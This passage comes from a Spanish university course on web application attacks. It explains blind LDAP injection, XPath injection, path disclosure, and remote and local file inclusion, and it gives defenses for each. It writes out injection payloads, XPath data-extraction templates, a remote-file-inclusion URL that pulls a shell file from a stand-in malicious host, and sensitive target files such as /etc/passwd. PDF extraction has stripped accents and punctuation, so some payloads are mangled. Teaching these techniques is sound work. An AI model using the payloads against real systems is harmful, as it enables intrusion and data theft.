Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer

informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-

vando los cambios en las respuestas http

CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web

221 Blind LDAP Injection en un entorno ldquoANDrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND

tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el

atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo

que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos

aplicarle un valor que sea true es decir que siempre seleccione objetos para

tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que

tambieacuten nos garantice que sea true

Supongamos la siguiente consulta LDAP

(amp(objectClass=Impresoras)(impresoraTipo=Epson))

Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson

de tal manera que el programador si recibe alguacuten objeto simplemente pinta

en la paacutegina web un icono de una impresora Epson

Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el

icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y

como hemos dicho realizando una inyeccioacuten del siguiente tipo

(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante

Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado

en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-

mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP

222 Reconocimiento de clases de objetos de un aacuterbol LDAP

Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-

mos centrarnos en el segundo filtro realizando un recorrido de la siguiente

forma

(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web

De tal manera que todas aquellas inyecciones que devolvieran el icono de la

impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean

la existencia de ese tipo de objetos

Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-

beto de posibles valores utilizando una buacutesqueda con comodines para ello

realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de

la siguiente forma

(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran

dado una respuesta positiva

(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))

Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos

llegar a saber el nombre de todos los objetcClass de un sistema

Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)

Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido

para cualquier atributo que un objeto compartiera con el atributo fijo Una

vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-

CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web

rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los

nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido

con la siguiente inyeccioacuten

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-

bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se

puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-

teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-

zando un recorrido de la siguiente forma

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan

devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-

car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de

los caracteres utilizando los operadores relacionales lt= o gt= para reducir el

nuacutemero de peticiones

En los atributos que almacenan valores numeacutericos no es posible utilizar el co-

modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-

rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=

(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))

223 Blind LDAP Injection en un entorno ldquoORrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar

el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor

siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos

una inyeccioacuten de la siguiente forma

(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

